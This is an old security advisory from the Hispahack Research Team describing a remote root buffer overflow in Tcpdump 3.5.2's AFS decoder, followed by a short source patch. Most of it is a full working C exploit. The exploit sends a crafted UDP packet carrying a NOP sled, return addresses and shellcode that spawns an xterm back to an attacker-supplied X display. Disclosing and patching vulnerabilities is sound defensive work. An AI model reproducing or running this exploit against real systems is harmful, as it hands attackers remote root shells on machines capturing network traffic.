!Hispahack Research Team
                          ------------------------

    Program: Tcpdump 3.5 (3.4, 3.6.* and the CVS version are not vulnerable)
    Platform: *nix, Windoze
    Risk: Remote root access
    Author: Zhodiac <zhodiac@softhome.net>
    Date: 4/1/2001



    - Problem:
    -----------

        Tcpdump is a network packet analizer, capabel to decode sucj
   protocols as X11, radius, smb,... When decoding one of this protocols
   AFS exists a buffer overflow. Xploiting this bug an attacker can obtain
   remote root access to the server. This buffer overflow only happens
   when decoding all the packet, and it decodes all the packet when the
   snaplen (option -s in command line) is bigger than 500.

        This bug exists on the stable version of tcpdump (3.5.2), exists a
   patch of kris@freebsd.org (27/Sep/2000) in the cvs, but never used with
   the stable version. Developers were contacted and they released 3.6.1
   with this bug fixed.

   - Exploit:
   ----------

       For proof of vulnerability we release the Linux x86 xploit. But be
   aware, no public xploit for your system does not mean you can't be
   hacked. Vulnerability exists, fix it!

   ------- tcpdump-xploit.c ----------

   /*
    * Tcpdump remote root xploit (3.5.2) (with -s 500 or higher)
    * for Linux x86
    *
    * By: Zhodiac <zhodiac@softhome.net>
    *
    * !Hispahack Research Team
    * http://hispahack.ccc.de
    *
    * This xploit was coded only to prove it can be done :)
    *
    * As usual, this xploit is dedicated to [CrAsH]]
    * She is "the one" and "only one" :***************
    *
    * #include <standar/disclaimer.h>
    *
    * Madrid 2/1/2001
    *
    * Spain r0x
    *
    */

    #include <stdio.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <arpa/inet.h>

    #define ADDR                        0xbffff248
    #define OFFSET                      0
    #define NUM_ADDR                    10
    #define NOP                         0x90
    #define NUM_NOP                     100

    #define RX_CLIENT_INITIATED     1
    #define RX_PACKET_TYPE_DATA     1
    #define FS_RX_DPORT             7000
    #define FS_RX_SPORT             7001
    #define AFS_CALL                134

    struct rx_header {
        u_int32_t epoch;
        u_int32_t cid;
        u_int32_t callNumber;
        u_int32_t seq;
        u_int32_t serial;
        u_char type;
        u_char flags;
        u_char userStatus;
        u_char securityIndex;
        u_short spare;
        u_short serviceId;
    };

    char shellcode[] = /* By Zhodiac <zhodiac@softhome.net> */
      "\xeb\x57\x5e\xb3\x21\xfe\xcb\x88\x5e\x2c\x88\x5e\x23"
      "\x88\x5e\x1f\x31\xdb\x88\x5e\x07\x46\x46\x88\x5e\x08"
      "\x4e\x4e\x88\x5e\xFF\x89\x5e\xfc\x89\x76\xf0\x8d\x5e"
      "\x08\x89\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x8d\x4e\xf0"
      "\x89\xf3\x8d\x56\xfc\x31\xc0\xb0\x0e\x48\x48\x48\xcd"
      "\x80\x31\xc0\x40\x31\xdb\xcd\x80\xAA\xAA\xAA\xAA\xBB"
      "\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xDD\xDD\xDD\xDD\xe8\xa4"
      "\xff\xff\xff"
      "/bin/shZ-cZ/usr/X11R6/bin/xtermZ-utZ-displayZ";

    long resolve(char *name) {
     struct hostent *hp;
     long ip;

     if ((ip=inet_addr(name))==-1) {
       if ((hp=gethostbyname(name))==NULL) {
            fprintf (stderr,"Can't resolve host name [%s].\n",name);
            exit(-1);
          }
        memcpy(&ip,(hp->h_addr),4);
        }
     return(ip);
    }


    int main (int argc, char *argv[]) {

     struct sockaddr_in addr,sin;
     int sock,aux, offset=OFFSET;
     char buffer[4048], *chptr;
     struct rx_header *rxh;
     long int *lptr, return_addr=ADDR;


      fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
      fprintf(stderr,"Tcpdump 3.5.2 xploit by Zhodiac <zhodiac@softhome.net>\n\n");


      if (argc<3) {
        printf("Usage: %s <host> <display> [offset]\n",argv[0]);
        exit(-1);
        }

      if (argc==4) offset=atoi(argv[3]);
      return_addr+=offset;

      fprintf(stderr,"Using return addr: %#x\n",return_addr);

      addr.sin_family=AF_INET;
      addr.sin_addr.s_addr=resolve(argv[1]);
      addr.sin_port=htons(FS_RX_DPORT);

      if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) {
         perror("socket()");
         exit(-1);
         }

      sin.sin_family=AF_INET;
      sin.sin_addr.s_addr=INADDR_ANY;
      sin.sin_port=htons(FS_RX_SPORT);

      if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {
          perror("bind()");
          exit(-1);
          }

      memset(buffer,0,sizeof(buffer));
      rxh=(struct rx_header *)buffer;

      rxh->type=RX_PACKET_TYPE_DATA;
      rxh->seq=htonl(1);
      rxh->flags=RX_CLIENT_INITIATED;

      lptr=(long int *)(buffer+sizeof(struct rx_header));
      *(lptr++)=htonl(AFS_CALL);
      *(lptr++)=htonl(1);
      *(lptr++)=htonl(2);
      *(lptr++)=htonl(3);

      *(lptr++)=htonl(420);
      chptr=(char *)lptr;
      sprintf(chptr,"1 0\n");
      chptr+=4;

      memset(chptr,'A',120);
      chptr+=120;
      lptr=(long int *)chptr;
      for (aux=0;aux<NUM_ADDR;aux++) *(lptr++)=return_addr;
      chptr=(char *)lptr;
      memset(chptr,NOP,NUM_NOP);
      chptr+=NUM_NOP;
      shellcode[30]=(char)(46+strlen(argv[2]));
      memcpy(chptr,shellcode,strlen(shellcode));
      chptr+=strlen(shellcode);
      memcpy(chptr,argv[2],strlen(argv[2]));
      chptr+=strlen(argv[2]);

      sprintf(chptr," 1\n");

      if (sendto(sock,buffer,520,0,&addr,sizeof(addr))==-1) {
         perror("send()");
         exit(-1);
         }

      fprintf(stderr,"Packet with Overflow sent, now wait for the xterm!!!! :)\n\n");

      close(sock);
      return(0);
     }

   ------- tcpdump-xploit.c ----------



   - Fix:
   ------

      Best solution is to wait for a new patched version (3.6.1), meanwhile
  here you have a patch that will stop this attack (be aware that this
  patch was not done after a total revision of the code, maybe there are
  some other overflows).

   ------ print-rx.patch ---------

   950c950
   <               if (sscanf((char *) s, "%s %d\n%n", user, &acl, &n) !=2)
   ---
   >               if (sscanf((char *) s, "%127s %d\n%n", user, &acl, &n) !=2)
   963c963
   <               if (sscanf((char *) s, "%s %d\n%n", user, &acl, &n) != 2)
   ---
   >               if (sscanf((char *) s, "%127s %d\n%n", user, &acl, &n) != 2)

   ------ print-rx.patch ---------

   piscis:~# patch print-rx.c < print-rx.patch
   patching file `print-rx.c'
   piscis:~#

   Spain r0x

   Greets :)

   Zhodiac